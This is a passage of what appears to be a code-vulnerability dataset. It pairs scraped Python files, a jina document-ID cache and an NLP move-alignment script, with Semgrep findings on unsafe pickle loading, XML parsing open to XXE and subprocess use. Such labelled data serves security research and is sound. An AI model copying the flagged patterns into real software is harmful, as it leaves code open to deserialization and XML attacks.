"A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_834b2c405d5f0dd4_aa0cdbec", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 110, "line_end": 110, "column_start": 10, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/834b2c405d5f0dd4.py", "start": {"line": 110, "col": 10, "offset": 3849}, "end": {"line": 110, "col": 28, "offset": 3867}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 79 ]
[ 80 ]
[ 9 ]
[ 65 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
qa-data-only-idf.py
/idf_baseline/qa-data-only-idf.py
wassname/Castor
Apache-2.0
2024-11-18T21:22:35.409340+00:00
1,609,176,088,000
3a4b0506d1512660f62f802a2087c583f24f15ad
3
{ "blob_id": "3a4b0506d1512660f62f802a2087c583f24f15ad", "branch_name": "refs/heads/master", "committer_date": 1609176088000, "content_id": "a8c5ca21d9e9d8695f4f2c28d34f7511eb122664", "detected_licenses": [ "Apache-2.0" ], "directory_id": "cd9fd64e4f6353270e851febda6acbd27ca17d23", "extension": "py", "filename": "cache.py", "fork_events_count": 1, "gha_created_at": 1609179959000, "gha_event_created_at": 1680373109000, "gha_language": null, "gha_license_id": "Apache-2.0", "github_id": 325086307, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5311, "license": "Apache-2.0", "license_type": "permissive", "path": "/jina/executors/indexers/cache.py", "provenance": "stack-edu-0054.json.gz:588068", "repo_name": "janandreschweiger/jina", "revision_date": 1609176088000, "revision_id": "7b54f311950e58493e6a6a494d1b32804bdedcc1", "snapshot_id": "9d7f29962b36f2de81492604e649cc099476d3cd", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/janandreschweiger/jina/7b54f311950e58493e6a6a494d1b32804bdedcc1/jina/executors/indexers/cache.py", "visit_date": "2023-04-05T06:14:21.657606" }
2.59375
stackv2
import pickle import tempfile from typing import Optional, Iterator from jina.executors.indexers import BaseKVIndexer from jina.helper import check_keys_exist DATA_FIELD = 'data' ID_KEY = 'id' CONTENT_HASH_KEY = 'content_hash' # noinspection PyUnreachableCode if False: from jina.types.document import UniqueId class BaseCache(BaseKVIndexer): """Base class of the cache inherited :class:`BaseKVIndexer` The difference between a cache and a :class:`BaseKVIndexer` is the ``handler_mutex`` is released in cache, this allows one to query-while-indexing. """ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def post_init(self): self.handler_mutex = False #: for Cache we need to release the handler mutex to allow RW at the same time class DocIDCache(BaseCache): """A key-value indexer that specializes in caching. Serializes the cache to two files, one for ids, one for the actually cached field. If field=`id`, then the second file is redundant. The class optimizes the process so that there are no duplicates. """ class CacheHandler: def __init__(self, path, logger): self.path = path try: # TODO maybe mmap? self.ids = pickle.load(open(path + '.ids', 'rb')) self.content_hash = pickle.load(open(path + '.cache', 'rb')) except FileNotFoundError as e: logger.warning( f'File path did not exist : {path}.ids or {path}.cache: {repr(e)}. Creating new CacheHandler...') self.ids = [] self.content_hash = [] def close(self): pickle.dump(self.ids, open(self.path + '.ids', 'wb')) pickle.dump(self.content_hash, open(self.path + '.cache', 'wb')) supported_fields = [ID_KEY, CONTENT_HASH_KEY] default_field = ID_KEY def __init__(self, index_filename: str = None, *args, **kwargs): """ creates a new DocIDCache :param field: to be passed as kwarg. This dictates by which Document field we cache (either `id` or `content_hash`) """ if not index_filename: # create a new temp file if not exist index_filename = tempfile.NamedTemporaryFile(delete=False).name super().__init__(index_filename, *args, **kwargs) self.field = kwargs.get('field', self.default_field) if self.field not in self.supported_fields: raise ValueError(f"Field '{self.field}' not in supported list of {self.supported_fields}") def add(self, doc_id: 'UniqueId', *args, **kwargs): self._size += 1 self.query_handler.ids.append(doc_id) # optimization. don't duplicate ids if self.field != ID_KEY: data = kwargs.get(DATA_FIELD, None) if data is None: raise ValueError(f'Got None from CacheDriver') self.query_handler.content_hash.append(data) def query(self, data, *args, **kwargs) -> Optional[bool]: """ Check whether the data exists in the cache :param data: either the id or the content_hash of a Document """ # FIXME this shouldn't happen if self.query_handler is None: self.query_handler = self.get_query_handler() if self.field == ID_KEY: status = (data in self.query_handler.ids) or None else: status = (data in self.query_handler.content_hash) or None return status def update(self, keys: Iterator['UniqueId'], values: Iterator[any], *args, **kwargs): """ :param keys: list of Document.id :param values: list of either `id` or `content_hash` of :class:`Document""" missed = check_keys_exist(keys, self.query_handler.ids) if missed: raise KeyError(f'Keys {missed} were not found in {self.index_abspath}. No operation performed...') for key, cached_field in zip(keys, values): key_idx = self.query_handler.ids.index(key) # optimization. don't duplicate ids if self.field != ID_KEY: self.query_handler.content_hash[key_idx] = cached_field def delete(self, keys: Iterator['UniqueId'], *args, **kwargs): """ :param keys: list of Document.id """ missed = check_keys_exist(keys, self.query_handler.ids) if missed: raise KeyError(f'Keys {missed} were not found in {self.index_abspath}. No operation performed...') for key in keys: key_idx = self.query_handler.ids.index(key) self.query_handler.ids = [id for idx, id in enumerate(self.query_handler.ids) if idx != key_idx] if self.field != ID_KEY: self.query_handler.content_hash = [cached_field for idx, cached_field in enumerate(self.query_handler.content_hash) if idx != key_idx] self._size -= 1 def get_add_handler(self): # not needed, as we use the queryhandler pass def get_query_handler(self) -> CacheHandler: return self.CacheHandler(self.index_abspath, self.logger) def get_create_handler(self): # not needed, as we use the queryhandler pass
137
37.77
151
18
1,166
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_af8e6946515d22f7_13bedfb5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 42, "line_end": 42, "column_start": 28, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/af8e6946515d22f7.py", "start": {"line": 42, "col": 28, "offset": 1282}, "end": {"line": 42, "col": 66, "offset": 1320}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_af8e6946515d22f7_1120df94", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 43, "line_end": 43, "column_start": 37, "column_end": 77, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/af8e6946515d22f7.py", "start": {"line": 43, "col": 37, "offset": 1357}, "end": {"line": 43, "col": 77, "offset": 1397}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_af8e6946515d22f7_c70d47f7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 13, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/af8e6946515d22f7.py", "start": {"line": 51, "col": 13, "offset": 1698}, "end": {"line": 51, "col": 66, "offset": 1751}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_af8e6946515d22f7_392fd0c9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 52, "line_end": 52, "column_start": 13, "column_end": 77, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/af8e6946515d22f7.py", "start": {"line": 52, "col": 13, "offset": 1764}, "end": {"line": 52, "col": 77, "offset": 1828}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 42, 43, 51, 52 ]
[ 42, 43, 51, 52 ]
[ 28, 37, 13, 13 ]
[ 66, 77, 66, 77 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
cache.py
/jina/executors/indexers/cache.py
janandreschweiger/jina
Apache-2.0
2024-11-18T21:22:37.275991+00:00
1,508,429,796,000
01db74fea12c732bbe88945663c147e57eb552ed
3
{ "blob_id": "01db74fea12c732bbe88945663c147e57eb552ed", "branch_name": "refs/heads/master", "committer_date": 1508429796000, "content_id": "57b0ad55c43545f852aeb3e2dd95661e334e8e32", "detected_licenses": [ "MIT" ], "directory_id": "becb275d7349e92cd14eb157142cfbf66af39e44", "extension": "py", "filename": "alignFGmovesUtts.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 107570083, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9082, "license": "MIT", "license_type": "permissive", "path": "/alignFGmovesUtts.py", "provenance": "stack-edu-0054.json.gz:588085", "repo_name": "GCowderoy/NLP-Preprocessing", "revision_date": 1508429796000, "revision_id": "f334819ea2215ea4a056090ff65f6db3c4503c4c", "snapshot_id": "bee60648fd6293b5a5f4f1e28176205c1ae6080a", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/GCowderoy/NLP-Preprocessing/f334819ea2215ea4a056090ff65f6db3c4503c4c/alignFGmovesUtts.py", "visit_date": "2021-07-13T16:47:33.075397" }
3.15625
stackv2
#!/usr/bin/python import sys, fileinput, os import xml.etree.ElementTree as ET from collections import OrderedDict #from itertools import islice '''Script to align guide-moves and follower-moves with utterances into single file This is to produce the observation matrices ''' def usage(argv): if len(argv) != 6: print "Error: \n Usage: " + argv[0] + " Game fMoves gmoves fTU gTU \n" sys.exit(1) #given a directory path, returns a sorted full path list def ReadFromDir(directory): #for pattern in directory: listing = os.listdir(directory) listing.sort() outlist = [] for item in listing: fullitem = os.path.join(directory,item) outlist.append(fullitem) return outlist #give this function the game xml, e.g. q4nc4.games.xml. Need to remove duplicates? def getmoveIDs(gametree): root = gametree.getroot() gamelist = [] for child in root: for element in child: #Check that this goes through every element - some items are missing from gamelist hrefline = element.get('href') #print hrefline if hrefline != None: myhref = extractTimes(hrefline) my1move = myhref[0].strip('id()') my2move = myhref[2].strip('id()') if my2move != '': mymove = [my1move, my2move] else: mymove = [my1move] gamelist.append(mymove) return gamelist def extractMoves( tree ): #this function gives the 'move label' and the tuple 'start', 'end' for every node in the tree for follower/guide moves #It will also give the move id (the if attrib == id condition) root = tree.getroot() myout = [] for child in root: #searching for the move tags if child.tag == 'move': mylist =[] #getting the move labels - these correspond to the coding scheme for attribute in child.attrib: #This condition writes the id to the list if attribute =='id': #print child.attrib[attribute] mylist.append(child.attrib[attribute]) #This condition writes the move to the list if attribute =='label': mylist.append( child.attrib[attribute] ) #getting the time units out for element in child: hrefline = element.get('href') #need to parse the href mylist.append(extractTimes(hrefline)) myout.append(mylist) return myout def extractFname (hrefline): #splits the href attrib line by the # deliminater, to discard the filename out = hrefline.split("#") return out def extractTimes ( hrefline): #splits the href attrib ids up into a tuple #split[0] is the filename; this returns the timed unit sections split = extractFname(hrefline) newline = split[1] out = newline.partition("..") #print out return out def getUtterances(timetree, myout): '''this function gives the moveid (from move.xml, and corresponding in the game.xml), the move label (from the move.xml) and the utterance (from timed-units.xml) This is as an OrderedDict, so it retains the input order''' root = timetree.getroot() myutt="" #uttList=OrderedDict() uttList = [] for item in myout: #myout is a list of moveid, move,(start,end). This part loops through them, and ignores the deliminator. moveid= item[0] move = item[1] tup = item[2] mystart = tup[0] #print mystart start = mystart.strip('id()') myend = tup[-1] end = myend.strip('id()') if end == "": end = start #print item, start, end, tup for child in root: #if child.tag == "tu": for attribute in child.attrib: if attribute == 'id': timedUnit = child.attrib[attribute] if child.text == None: text = "" else: text = child.text + " " if timedUnit == start : #when the start utterance if timedUnit == end: #for the one word utterances myutt = child.text #fout = move+", " + myutt #print fout #uttList[moveid]=fout fout = moveid + ", "+move+", "+myutt uttList.append(fout) myutt = "" else: myutt = text #print tup, move +" , " +timedUnit+" , " + myutt elif timedUnit == end: #found end utterance myutt = myutt + text #fout = move +", " + myutt #print fout #uttList[moveid]=fout fout = moveid + ", "+move+", "+myutt uttList.append(fout) myutt = "" else: #utterances that are neither start or end myutt = myutt + text #print move, start, end, myutt return uttList def moveList(uttList): movelist = [] for item in uttList: out =item.split(",") moveid = out[0] movelist.append(moveid) return movelist def toDict(uttList): movelist = moveList(uttList) uttDict = OrderedDict() #uttDict ={} for item in uttList: out = item.split(",") c = out[1:] for element in movelist: if out[0] == element: uttDict[element] = c return uttDict #gamelist from getmoveIDs(gametree); fUtts from getUtterances on follower; gUtts from getUtterances on guide; def alignFG(gamelist, fUtts, gUtts): flist = moveList(fUtts) fdict =toDict(fUtts) glist =moveList(gUtts) gdict = toDict(gUtts) loc1 = None loc2 = None for item in gamelist: moveStart = item[0] if len(item) == 2: moveEnd = item[1] else: moveEnd = None #if moveStart.find('f') != -1: # print moveStart, moveEnd , "," for moveid in flist: if moveid == moveStart and moveEnd == None: print moveid , fdict[moveid] if moveEnd != None and moveEnd.find('f') != -1: #print moveEnd, moveid if moveid == moveStart: loc1 = flist.index(moveid) #print moveid, loc1 continue elif moveid == moveEnd: #print moveEnd loc2 = flist.index(moveid) #print moveid, loc2 if loc1 != None and loc2 != None: #want to find locations of loc1, loc2 in flist, get a sublist of flist. Then iterate over sublist, printing out key, values that match from fdict. sublist = flist[loc1:loc2+1] #print sublist for item in sublist: print item, fdict[item] loc1, loc2 = None, None if loc2 == None and loc1 != None: moveid = flist[loc1] print moveid, fdict[moveid] loc1, loc2 = None, None for moveid in glist: if moveid == moveStart and moveEnd == None: print moveid , gdict[moveid] if moveEnd != None and moveEnd.find('g') != -1: #print moveEnd, moveid if moveid == moveStart: loc1 = glist.index(moveid) #print moveid, loc1 continue elif moveid == moveEnd: #print moveEnd loc2 = glist.index(moveid) #print moveid, loc2 if loc1 != None and loc2 != None: #want to find locations of loc1, loc2 in flist, get a sublist of glist. Then iterate over sublist, printing out key, values that match from gdict. sublist = glist[loc1:loc2+1] #print sublist for item in sublist: print item, gdict[item] loc1, loc2 = None, None if loc2 == None and loc1 != None: moveid = glist[loc1] print moveid, gdict[moveid] loc1, loc2 = None, None '''for moveid, f in fdict.iteritems(): if moveid == moveStart and moveEnd == None: print moveid, f if moveEnd != None: if moveid == moveStart: loc1 = moveid #print moveid, f elif moveid == moveEnd: #print moveid, f loc2 = moveid #if loc1 != None and loc2 != None: #So, loc1 is the start key, loc2 is the end key. Want to slice the dictionary up, and print the values for this slice. #print fUtts.keys()[loc1: loc2] #print fUtts. #when it works for f, copy paste for gUtts - or to a separate function''' if __name__ == "__main__": usage(sys.argv) gametree = ET.parse(sys.argv[1]) fmoves = ET.parse(sys.argv[2]) gmoves = ET.parse(sys.argv[3]) ftimetree = ET.parse(sys.argv[4]) gtimetree = ET.parse(sys.argv[5]) gamelist = getmoveIDs(gametree) fmovelist = extractMoves(fmoves) gmovelist = extractMoves(gmoves) #for item in gamelist: # print item #for item in fmovelist: # print item #for item in gmovelist: # print item fUtts = getUtterances(ftimetree, fmovelist) gUtts = getUtterances(gtimetree, gmovelist) #glist = getmovelist(gUtts) alignFG(gamelist, fUtts, gUtts) #for item, value in orderedDict(fUtts).iteritems(): # print item, value #flist = moveList(fUtts) fdict = toDict(fUtts) gdict =toDict(gUtts) '''for key, item in gdict.iteritems(): print key, item for element in gamelist: print element''' #for item in element: #if item.find('.f.') != -1: #print element
300
29.27
163
23
2,554
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_39703598ee9f174b_54cacf2c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 4, "line_end": 4, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/39703598ee9f174b.py", "start": {"line": 4, "col": 1, "offset": 45}, "end": {"line": 4, "col": 35, "offset": 79}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_39703598ee9f174b_f90258b6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(sys.argv[1])", "location": {"file_path": "unknown", "line_start": 264, "line_end": 264, "column_start": 14, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmp10dxl77l/39703598ee9f174b.py", "start": {"line": 264, "col": 14, "offset": 8185}, "end": {"line": 264, "col": 35, "offset": 8206}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(sys.argv[1])", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_39703598ee9f174b_7a3312e9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(sys.argv[2])", "location": {"file_path": "unknown", "line_start": 265, "line_end": 265, "column_start": 12, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmp10dxl77l/39703598ee9f174b.py", "start": {"line": 265, "col": 12, "offset": 8218}, "end": {"line": 265, "col": 33, "offset": 8239}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(sys.argv[2])", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": 